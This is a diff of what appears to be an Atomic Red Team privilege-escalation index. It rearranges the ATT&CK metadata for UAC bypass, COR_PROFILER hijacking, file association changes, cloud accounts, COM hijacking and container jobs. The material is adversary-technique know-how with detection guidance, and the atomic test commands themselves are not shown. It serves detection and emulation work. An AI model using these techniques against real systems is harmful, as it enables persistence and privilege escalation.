-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1548/002
+        external_id: T1548.002
+        source_name: mitre-attack
+      - source_name: TechNet How UAC Works
+        description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved
+          June 3, 2016.
+        url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works
+      - source_name: TechNet Inside UAC
+        description: 'Russinovich, M. (2009, July). User Account Control: Inside Windows
+          7 User Account Control. Retrieved July 26, 2016.'
+        url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx
+      - source_name: MSDN COM Elevation
+        description: Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July
+          26, 2016.
+        url: https://msdn.microsoft.com/en-us/library/ms679687.aspx
+      - source_name: Davidson Windows
+        description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November
+          12, 2014.
+        url: http://www.pretentiousname.com/misc/win7_uac_whitelist2.html
+      - source_name: Github UACMe
+        description: UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.
+        url: https://github.com/hfiref0x/UACME
+      - source_name: enigma0x3 Fileless UAC Bypass
+        description: Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe
+          and Registry Hijacking. Retrieved December 27, 2016.
+        url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
+      - source_name: Fortinet Fareit
+        description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses
+          UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.
+        url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware
+      - source_name: SANS UAC Bypass
+        description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June
+          3, 2016.
+        url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass
+      - source_name: enigma0x3 sdclt app paths
+        description: Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved
+          May 25, 2017.
+        url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
+      - source_name: enigma0x3 sdclt bypass
+        description: Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe.
+          Retrieved May 25, 2017.
+        url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
       identifier: T1548.002
     atomic_tests:
     - name: Bypass UAC using Event Viewer (cmd)
@@ -12307,50 +12492,18 @@ privilege-escalation:
         name: command_prompt
   T1574.012:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.012
-        url: https://attack.mitre.org/techniques/T1574/012
-      - source_name: Microsoft Profiling Mar 2017
-        url: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview
-        description: Microsoft. (2017, March 30). Profiling Overview. Retrieved June
-          24, 2020.
-      - source_name: Microsoft COR_PROFILER Feb 2013
-        url: https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)
-        description: Microsoft. (2013, February 4). Registry-Free Profiler Startup
-          and Attach. Retrieved June 24, 2020.
-      - source_name: RedCanary Mockingbird May 2020
-        url: https://redcanary.com/blog/blue-mockingbird-cryptominer/
-        description: Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved
-          May 26, 2020.
-      - source_name: Red Canary COR_PROFILER May 2020
-        url: https://redcanary.com/blog/cor_profiler-for-persistence/
-        description: Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation
-          for persistence. Retrieved June 24, 2020.
-      - source_name: Almond COR_PROFILER Apr 2019
-        url: https://offsec.almond.consulting/UAC-bypass-dotnet.html
-        description: Almond. (2019, April 30). UAC bypass via elevated .NET applications.
-          Retrieved June 24, 2020.
-      - source_name: GitHub OmerYa Invisi-Shell
-        url: https://github.com/OmerYa/Invisi-Shell
-        description: Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24,
-          2020.
-      - source_name: subTee .NET Profilers May 2017
-        url: https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html
-        description: Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET
-          Profilers. Retrieved June 24, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: COR_PROFILER
-      description: |-
-        Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)
-
-        The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)
-
-        Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)
-      id: attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335
       type: attack-pattern
+      name: COR_PROFILER
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Process: Process Creation'
+      - 'Module: Module Load'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-08-30T21:35:12.049Z'
+      created: '2020-06-24T22:30:55.843Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -12358,8 +12511,21 @@ privilege-escalation:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-06-26T16:09:58.920Z'
-      created: '2020-06-24T22:30:55.843Z'
+      id: attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      description: |-
+        Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)
+
+        The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)
+
+        Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)
+      x_mitre_contributors:
+      - Jesse Brown, Red Canary
       x_mitre_detection: 'For detecting system and user scope abuse of the COR_PROFILER,
         monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and
         COR_PROFILER_PATH that correspond to system and user environment variables
@@ -12372,20 +12538,39 @@ privilege-escalation:
         shortly after the CLR causing abnormal process behavior.(Citation: Red Canary
         COR_PROFILER May 2020) Consider monitoring for DLL files that are associated
         with COR_PROFILER environment variables.'
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Process: Process Creation'
-      - 'Module: Module Load'
-      - 'Command: Command Execution'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_contributors:
-      - Jesse Brown, Red Canary
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/012
+        external_id: T1574.012
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview
+        description: Microsoft. (2017, March 30). Profiling Overview. Retrieved June
+          24, 2020.
+        source_name: Microsoft Profiling Mar 2017
+      - url: https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)
+        description: Microsoft. (2013, February 4). Registry-Free Profiler Startup
+          and Attach. Retrieved June 24, 2020.
+        source_name: Microsoft COR_PROFILER Feb 2013
+      - url: https://redcanary.com/blog/blue-mockingbird-cryptominer/
+        description: Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved
+          May 26, 2020.
+        source_name: RedCanary Mockingbird May 2020
+      - url: https://redcanary.com/blog/cor_profiler-for-persistence/
+        description: Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation
+          for persistence. Retrieved June 24, 2020.
+        source_name: Red Canary COR_PROFILER May 2020
+      - url: https://offsec.almond.consulting/UAC-bypass-dotnet.html
+        description: Almond. (2019, April 30). UAC bypass via elevated .NET applications.
+          Retrieved June 24, 2020.
+        source_name: Almond COR_PROFILER Apr 2019
+      - url: https://github.com/OmerYa/Invisi-Shell
+        description: Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24,
+          2020.
+        source_name: GitHub OmerYa Invisi-Shell
+      - url: https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html
+        description: Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET
+          Profilers. Retrieved June 24, 2020.
+        source_name: subTee .NET Profilers May 2017
       identifier: T1574.012
     atomic_tests:
     - name: User scope COR_PROFILER
@@ -12514,14 +12699,27 @@ privilege-escalation:
         name: powershell
   T1546.001:
     technique:
-      created: '2020-01-24T13:40:47.282Z'
+      type: attack-pattern
       modified: '2020-01-24T13:40:47.282Z'
+      name: Change Default File Association
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      created: '2020-01-24T13:40:47.282Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      type: attack-pattern
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      - User
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c
       description: "Adversaries may establish persistence by executing malicious content
         triggered by a file type association. When a file is opened, the default program
@@ -12541,54 +12739,41 @@ privilege-escalation:
         values of the keys listed are commands that are executed when the handler
         opens the file extension. Adversaries can modify these values to continually
         execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)"
-      name: Change Default File Association
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.001
-        url: https://attack.mitre.org/techniques/T1546/001
-      - external_id: CAPEC-556
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/556.html
-      - url: https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs
-        description: Microsoft. (n.d.). Change which programs Windows 7 uses by default.
-          Retrieved July 26, 2016.
-        source_name: Microsoft Change Default Programs
-      - url: http://msdn.microsoft.com/en-us/library/bb166549.aspx
-        description: Microsoft. (n.d.). Specifying File Handlers for File Name Extensions.
-          Retrieved November 13, 2014.
-        source_name: Microsoft File Handlers
-      - url: https://docs.microsoft.com/windows-server/administration/windows-commands/assoc
-        description: Plett, C. et al.. (2017, October 15). assoc. Retrieved August
-          7, 2018.
-        source_name: Microsoft Assoc Oct 2017
-      - url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd
-        description: Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August
-          8, 2018.
-        source_name: TrendMicro TROJ-FAKEAV OCT 2012
-      x_mitre_platforms:
-      - Windows
       x_mitre_contributors:
       - Travis Smith, Tripwire
       - Stefan Kanthak
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Command: Command Execution'
       x_mitre_detection: |-
         Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.
 
         User file association preferences are stored under <code> [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.
 
         Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/001
+        external_id: T1546.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/556.html
+        external_id: CAPEC-556
+        source_name: capec
+      - source_name: Microsoft Change Default Programs
+        description: Microsoft. (n.d.). Change which programs Windows 7 uses by default.
+          Retrieved July 26, 2016.
+        url: https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs
+      - source_name: Microsoft File Handlers
+        description: Microsoft. (n.d.). Specifying File Handlers for File Name Extensions.
+          Retrieved November 13, 2014.
+        url: http://msdn.microsoft.com/en-us/library/bb166549.aspx
+      - source_name: Microsoft Assoc Oct 2017
+        description: Plett, C. et al.. (2017, October 15). assoc. Retrieved August
+          7, 2018.
+        url: https://docs.microsoft.com/windows-server/administration/windows-commands/assoc
+      - source_name: TrendMicro TROJ-FAKEAV OCT 2012
+        description: Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August
+          8, 2018.
+        url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd
       identifier: T1546.001
     atomic_tests:
     - name: Change Default File Association
@@ -12622,32 +12807,17 @@ privilege-escalation:
         elevation_required: true
   T1078.004:
     technique:
-      id: attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65
-      description: |-
-        Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)
-
-        Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.
-      name: Cloud Accounts
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1078.004
-        url: https://attack.mitre.org/techniques/T1078/004
-      - source_name: AWS Identity Federation
-        url: https://aws.amazon.com/identity/federation/
-        description: Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13,
-          2020.
-      - source_name: Google Federating GC
-        url: https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction
-        description: Google. (n.d.). Federating Google Cloud with Active Directory.
-          Retrieved March 13, 2020.
-      - source_name: Microsoft Deploying AD Federation
-        url: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs
-        description: Microsoft. (n.d.). Deploying Active Directory Federation Services
-          in Azure. Retrieved March 13, 2020.
       type: attack-pattern
+      name: Cloud Accounts
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Metadata'
+      - 'User Account: User Account Authentication'
+      - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '1.3'
+      modified: '2021-10-18T17:48:05.659Z'
+      created: '2020-03-13T20:36:57.378Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -12657,25 +12827,43 @@ privilege-escalation:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2021-03-16T12:45:15.399Z'
-      created: '2020-03-13T20:36:57.378Z'
+      id: attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65
       x_mitre_platforms:
       - Azure AD
       - Office 365
       - SaaS
       - IaaS
       - Google Workspace
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Logon Session: Logon Session Creation'
-      x_mitre_detection: Monitor the activity of cloud accounts to detect abnormal
-        or malicious behavior, such as accessing information outside of the normal
-        function of the account or account usage at atypical hours.
+      x_mitre_is_subtechnique: true
       x_mitre_permissions_required:
       - User
       - Administrator
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.2'
+      description: |-
+        Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)
+
+        Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.
+      x_mitre_contributors:
+      - Jon Sternstein, Stern Security
+      x_mitre_detection: Monitor the activity of cloud accounts to detect abnormal
+        or malicious behavior, such as accessing information outside of the normal
+        function of the account or account usage at atypical hours.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1078/004
+        external_id: T1078.004
+        source_name: mitre-attack
+      - url: https://aws.amazon.com/identity/federation/
+        description: Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13,
+          2020.
+        source_name: AWS Identity Federation
+      - url: https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction
+        description: Google. (n.d.). Federating Google Cloud with Active Directory.
+          Retrieved March 13, 2020.
+        source_name: Google Federating GC
+      - url: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs
+        description: Microsoft. (n.d.). Deploying Active Directory Federation Services
+          in Azure. Retrieved March 13, 2020.
+        source_name: Microsoft Deploying AD Federation
       identifier: T1078.004
     atomic_tests:
     - name: Creating GCP Service Account and Service Account Key
@@ -12734,26 +12922,29 @@ privilege-escalation:
 '
   T1546.015:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.015
-        url: https://attack.mitre.org/techniques/T1546/015
-      - url: https://msdn.microsoft.com/library/ms694363.aspx
-        description: Microsoft. (n.d.). The Component Object Model. Retrieved August
-          18, 2016.
-        source_name: Microsoft Component Object Model
-      - url: https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
-        description: 'G DATA. (2014, October). COM Object hijacking: the discreet
-          way of persistence. Retrieved August 13, 2016.'
-        source_name: GDATA COM Hijacking
-      - source_name: Elastic COM Hijacking
-        description: 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting
-          Persistence & Evasion with the COM. Retrieved September 15, 2016.'
-        url: https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Component Object Model Hijacking
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Command: Command Execution'
+      - 'Module: Module Load'
+      x_mitre_version: '1.0'
+      modified: '2020-11-10T18:19:44.750Z'
+      created: '2020-03-16T14:12:47.923Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may establish persistence by executing malicious content
         triggered by hijacked references to Component Object Model (COM) objects.
         COM is a system within Windows to enable interaction between software components
@@ -12769,19 +12960,8 @@ privilege-escalation:
         that are used frequently enough to maintain a consistent level of persistence,
         but are unlikely to break noticeable functionality within the system as to
         avoid system instability that could lead to detection. "
-      id: attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2020-11-10T18:19:44.750Z'
-      created: '2020-03-16T14:12:47.923Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
+      x_mitre_contributors:
+      - Elastic
       x_mitre_detection: "There are opportunities to detect COM hijacking by searching
         for Registry references that have been replaced and through Registry operations
         (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary
@@ -12797,15 +12977,23 @@ privilege-escalation:
         if software DLL loads are collected and analyzed, any unusual DLL load that
         can be correlated with a COM object Registry modification may indicate COM
         hijacking has been performed. "
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Command: Command Execution'
-      - 'Module: Module Load'
-      x_mitre_contributors:
-      - Elastic
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/015
+        external_id: T1546.015
+        source_name: mitre-attack
+      - source_name: Microsoft Component Object Model
+        description: Microsoft. (n.d.). The Component Object Model. Retrieved August
+          18, 2016.
+        url: https://msdn.microsoft.com/library/ms694363.aspx
+      - source_name: GDATA COM Hijacking
+        description: 'G DATA. (2014, October). COM Object hijacking: the discreet
+          way of persistence. Retrieved August 13, 2016.'
+        url: https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
+      - url: https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com
+        description: 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting
+          Persistence & Evasion with the COM. Retrieved September 15, 2016.'
+        source_name: Elastic COM Hijacking
       identifier: T1546.015
     atomic_tests:
     - name: COM Hijacking - InprocServer32
@@ -12866,32 +13054,31 @@ privilege-escalation:
         name: powershell
   T1053.007:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053.007
-        url: https://attack.mitre.org/techniques/T1053/007
-      - source_name: Kubernetes Jobs
-        url: https://kubernetes.io/docs/concepts/workloads/controllers/job/
-        description: The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March
-          30, 2021.
-      - source_name: Kubernetes CronJob
-        url: https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/
-        description: The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved
-          March 29, 2021.
-      - source_name: Threat Matrix for Kubernetes
-        url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
-        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
-          March 30, 2021.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Container Orchestration Job
+      x_mitre_data_sources:
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Container: Container Creation'
+      - 'File: File Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-07-27T17:38:17.146Z'
+      created: '2021-03-29T17:06:22.247Z'
+      x_mitre_contributors:
+      - Center for Threat-Informed Defense (CTID)
+      - Vishwas Manral, McAfee
+      - Yossi Weizman, Azure Defender Research Team
+      id: attack-pattern--1126cab1-c700-412f-a510-61f4937bb096
+      x_mitre_platforms:
+      - Containers
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.
 
-        In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in the cluster.(Citation: Threat Matrix for Kubernetes)
-      id: attack-pattern--1126cab1-c700-412f-a510-61f4937bb096
-      type: attack-pattern
+        In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
@@ -12899,26 +13086,28 @@ privilege-escalation:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-04-12T18:09:46.821Z'
-      created: '2021-03-29T17:06:22.247Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
+      x_mitre_remote_support: true
       x_mitre_detection: 'Monitor for the anomalous creation of scheduled jobs in
         container orchestration environments. Use logging agents on Kubernetes nodes
         and retrieve logs from sidecar proxies for application and resource pods to
         monitor malicious container orchestration job deployments. '
-      x_mitre_contributors:
-      - Center for Threat-Informed Defense (CTID)
-      - Vishwas Manral, McAfee
-      - Yossi Weizman, Azure Defender Research Team
-      x_mitre_platforms:
-      - Containers
-      x_mitre_data_sources:
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Container: Container Creation'
-      - 'File: File Creation'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053/007
+        external_id: T1053.007
+        source_name: mitre-attack
+      - url: https://kubernetes.io/docs/concepts/workloads/controllers/job/
+        description: The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March
+          30, 2021.
+        source_name: Kubernetes Jobs
+      - url: https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/
+        description: The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved
+          March 29, 2021.
+        source_name: Kubernetes CronJob
+      - url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
+        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
+          March 30, 2021.
+        source_name: Threat Matrix for Kubernetes
       identifier: T1053.007
     atomic_tests:
     - name: ListCronjobs
@@ -12992,50 +13181,53 @@ privilege-escalation:
         elevation_required: false
   T1134.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1134.002
-        url: https://attack.mitre.org/techniques/T1134/002
-      - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
-        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
-          April 21, 2017.
-        source_name: Microsoft Command-line Logging
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Create Process with Token
-      description: Adversaries may create a new process with a duplicated token to
-        escalate privileges and bypass access controls. An adversary can duplicate
-        a desired access token with <code>DuplicateToken(Ex)</code> and use it with
-        <code>CreateProcessWithTokenW</code> to create a new process running under
-        the security context of the impersonated user. This is useful for creating
